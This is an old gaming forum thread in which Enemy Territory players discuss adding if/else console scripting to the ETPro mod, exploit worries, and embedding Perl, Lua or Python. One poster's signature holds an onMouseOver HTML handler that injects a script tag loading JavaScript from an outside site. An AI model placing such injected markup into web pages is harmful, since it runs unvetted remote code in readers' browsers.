advanced scripting

Discussion for Bani's Tournament Mod

Moderators: Forum moderators, developers

User avatar
ouroboro
Posts: 662
Joined: Mon Jul 26, 2004 6:52 pm

advanced scripting

Post by ouroboro »

any chance of etpro ever adding advanced scripting options, with "if" "else" type shit? i've always wished i could have stuff like,

if (a teammate asks for a medic) {
i say iammedic
}

or even leeter,

if (he needs a medic AND is within x distance of me) {
i holler back
}

or stuff liek,

if (server has b_fixedphysics set to 1) {
my com_maxfps is set to 0
}
else {
its set to 76
}

ya follow me? ;) w00t that would be teh <3



another question, is it true that com_maxfps 72 results in a more constant 76 than actually using 76 does, if so why, and does all the 76-related happy-fun stuff still apply?

danke
Please direct all gameplay-changing feature requests here.
User avatar
=FF=im2good4u
Posts: 3821
Joined: Wed Feb 05, 2003 7:30 am
Location: The Netherlands, HOLLAND
Contact:

Post by =FF=im2good4u »

for oyur first Q i think its kind of a lot of coding but i also thoguh about it before

Code: Select all

skipifcvar
skipIfStat
User avatar
ReyalP
Posts: 1663
Joined: Fri Jul 25, 2003 11:44 am

Post by ReyalP »

There are some difficulties with this:

1) q3 console scripting is extremly <strike>retarded</strike> special. This means that you have to pretty much write a new scripting system.
2) a fair bit of the existing stuff is in the engine. Since this cannot be changed, the new system will never interface with it cleanly.
3) if you make scripting too powerful, it is easy to introduce expliots.

IOW, go play tribes :P
send lawyers, guns and money
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

I <3 having a real scripting system in tribes, but oh dear GOD, I can already imagine the whinge if ET had one... look at what we've already heard with the <strike>retarded</strike> special system we've already got. ;)
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
User avatar
bani
Site Admin
Posts: 2780
Joined: Sun Jul 21, 2002 3:58 am
Contact:

Post by bani »

the combined whine would throw earth out of its orbit and send it spiralling into the sun.

if we did implement scripting, it would likely be embedded perl or something 8)
User avatar
ReyalP
Posts: 1663
Joined: Fri Jul 25, 2003 11:44 am

Post by ReyalP »

bani wrote:the combined whine would throw earth out of its orbit and send it spiralling into the sun.

if we did implement scripting, it would likely be embedded perl or something 8)
http://www.lua.org

Far more compact and tidy than perl. I have thought semi-seriously about integrating it into the game code/map scripting side.
send lawyers, guns and money
User avatar
bani
Site Admin
Posts: 2780
Joined: Sun Jul 21, 2002 3:58 am
Contact:

Post by bani »

several problems:

1) lua is not simple to embed, unlike perl.
2) the lua api is designed more for C applications to access lua, not the other way around (as perl is). an et scripting language will want the latter, not the former.
3) lua is not well known.

tbh i'd imbed python before i'd bother with lua. :?
User avatar
ouroboro
Posts: 662
Joined: Mon Jul 26, 2004 6:52 pm

Post by ouroboro »

i only know php. use php pls :P

anyway u guys are right, ppl would scream "h4x!!!11" till the end of time. i honestly only want it for convenience. it could be massively usefull, but o well, typing cvars and using vsays manually isn't gonna kill me i guess </lazy>
Please direct all gameplay-changing feature requests here.
User avatar
gotenks
Posts: 3465
Joined: Fri Nov 15, 2002 4:12 pm
Location: out of my mind
Contact:

Post by gotenks »

i could see how it will get annoying...
if(health<25)
{
/kill
}

that could be annoying, not too bad though... i'd like to see it to test it, but warning goes out to all the noobs, it will be used if it gets implimented
My Website
Image
After a night of binge drinking:
=FF=im2good4u wrote:WTF wanst i on top ?
duke'ku
Posts: 1053
Joined: Sun Nov 03, 2002 1:42 pm
Location: portland, oregon
Contact:

Post by duke'ku »

ouroboro wrote:i only know php. use php pls :P
ahahahahahahahahah

i use mysql for my spawn timers, nubs
User avatar
fretn
Posts: 341
Joined: Sun Jul 27, 2003 4:35 am
Location: Belgium!

Post by fretn »

SELECT spawnTime FROM tblTimers WHERE team_id = 0
Day by day : http://w.twwwo.be/
Dubya
Posts: 21
Joined: Wed Apr 28, 2004 6:26 am

Post by Dubya »

teh bani wrote:tbh i'd imbed python...
Oh yes, please! :-)
Sif=RoK=
Posts: 41
Joined: Thu May 13, 2004 10:28 pm

Post by Sif=RoK= »

omg, embedding perl would be awesome!

people who would cry hax would do so any way if they saw what a lot of clanners have in their cfg's ;)

doesnt have to be too many interactions possible, stuff like console text, maybe a bit of stuff like spawn time left, and interactions with the new hud would be awesome ;)
v3rtigo
Posts: 27
Joined: Thu Sep 09, 2004 5:31 am

Post by v3rtigo »

gotenks wrote:i could see how it will get annoying...
if(health<25)
{
/kill
}

that could be annoying, not too bad though... i'd like to see it to test it, but warning goes out to all the noobs, it will be used if it gets implimented
lol, btw it can be realy cool NOT :)

but i think bani should let it try with IF and ELSE, because it can help alot.
User avatar
=FF=im2good4u
Posts: 3821
Joined: Wed Feb 05, 2003 7:30 am
Location: The Netherlands, HOLLAND
Contact:

Post by =FF=im2good4u »

gotenks wrote:i could see how it will get annoying...
if(health<25)
{
/kill
}

that could be annoying, not too bad though... i'd like to see it to test it, but warning goes out to all the noobs, it will be used if it gets implimented
how about

Code: Select all

	itemDef	&#123;	
		skipifstat	1 <= 25
		drawText	&#123;
		rect	0 0 640 480
		color	1 0 0 1
		size	2 2
		text	"KILL YOURSELF"
		font	"ariblk"
	&#125;
kthxbye :lol:
Post Reply